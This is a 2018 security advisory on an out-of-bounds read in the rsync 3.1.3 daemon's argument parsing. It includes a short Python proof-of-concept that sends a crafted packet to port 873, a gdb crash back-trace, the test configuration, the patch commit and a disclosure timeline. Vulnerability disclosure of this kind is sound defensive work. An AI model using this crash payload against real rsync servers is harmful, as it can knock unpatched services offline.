Rsync Daemon - parse_arguments Out-Of-Bounds read

Dec 17 2018

An attacker may send the rsync daemon a crafted packet, triggering an out-of-bound memory read in the argument handling code.

Date Released: 17/12/2018
Author: Denis Andzakovic
Vendor Website: https://rsync.samba.org
Affected Software: Rsync 3.1.3

parse_arguments OOB Read

By sending a crafted packet, an attacker can trigger the following code path in clientserver.c, resulting in the second parse_arguments() call being made with an argc value of 0.

 869     read_args(f_in, name, line, sizeof line, rl_nulls, &argv, &argc, &request);
 870     orig_argv = argv;
 871
 872     save_munge_symlinks = munge_symlinks;
 873
 874     reset_output_levels(); /* future verbosity is controlled by client options */
 875     ret = parse_arguments(&argc, (const char ***) &argv);
 876     if (protect_args && ret) {
 877         orig_early_argv = orig_argv;
 878         protect_args = 2;
 879         read_args(f_in, name, line, sizeof line, 1, &argv, &argc, &request);
 880         orig_argv = argv;
 881         ret = parse_arguments(&argc, (const char ***) &argv);
 882     } else
 883         orig_early_argv = NULL;

By sending a packet that sets protect_args and ret and subsequently closing the socket, an attacker can cause the read_args() call on line 879 to set argc to 0. The subsequent calls to poptGetNextOpt() within the parse_arguments() method (line 881) result in an invalid memory access as the popt library attempts to parse uninitialized memory.

Proof-of-Concept

The following POC code maybe used to trigger the out-of-bounds read:

#!/usr/bin/python
import socket;

host = "127.0.0.1"
port = 873

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

sock.send("@RSYNCD: 31.0\n")
sock.recv(1024)
sock.send("simple_path_name\n")
sock.recv(1024)
sock.send("-s"+"a"*5117+"\x0a")
sock.close()

The above POC results in the following back-trace:

Thread 2.1 "rsync" received signal SIGSEGV, Segmentation faultReading symbols from
[Switching to process 113814]
0x000000000044434c in poptGetNextOpt (con=0x67d130) at popt/popt.c:762
762         if (con->restLeftover || *origOptString != '-') {
(gdb) bt
#0  0x000000000044434c in poptGetNextOpt (con=0x67d130) at popt/popt.c:762
#1  0x00000000004217ec in parse_arguments (argc_p=0x7fffffffb8f8, argv_p=0x7fffffffb908) at options.c:1346
#2  0x00000000004372c3 in rsync_module (f_in=3, f_out=3, i=0, addr=0x678e00 <client_addr.addr_buf> "127.0.0.1", host=<optimized out>) at clientserver.c:881
#3  0x00000000004365ce in start_daemon (f_in=3, f_out=3) at clientserver.c:1135
#4  0x000000000042e48e in start_accept_loop (port=<optimized out>, fn=0x436330 <start_daemon>) at socket.c:618
#5  0x00000000004378d2 in daemon_main () at clientserver.c:1237
#6  0x000000000041af9d in main (argc=<optimized out>, argv=0x0) at main.c:1630

The Rsync daemon was run with the following configuration file:

log file = /var/tmp/rsyncd.log
pid file = /var/tmp/rsyncd.pid
lock file = /var/tmp/rsync.lock

[simple_path_name]
   path = /tmp/
   uid = nobody
   read only = no
   list = yes

Patch

This vulnerability was patched by commit a3668685354e7457ac3e29634083906ee5435bf2 on the rsync git repository.

Timeline

13/12/2018 - Advisory sent to Wayne
16/12/2018 - Patch pushed to Rsync git repo
17/12/2018 - Advisory released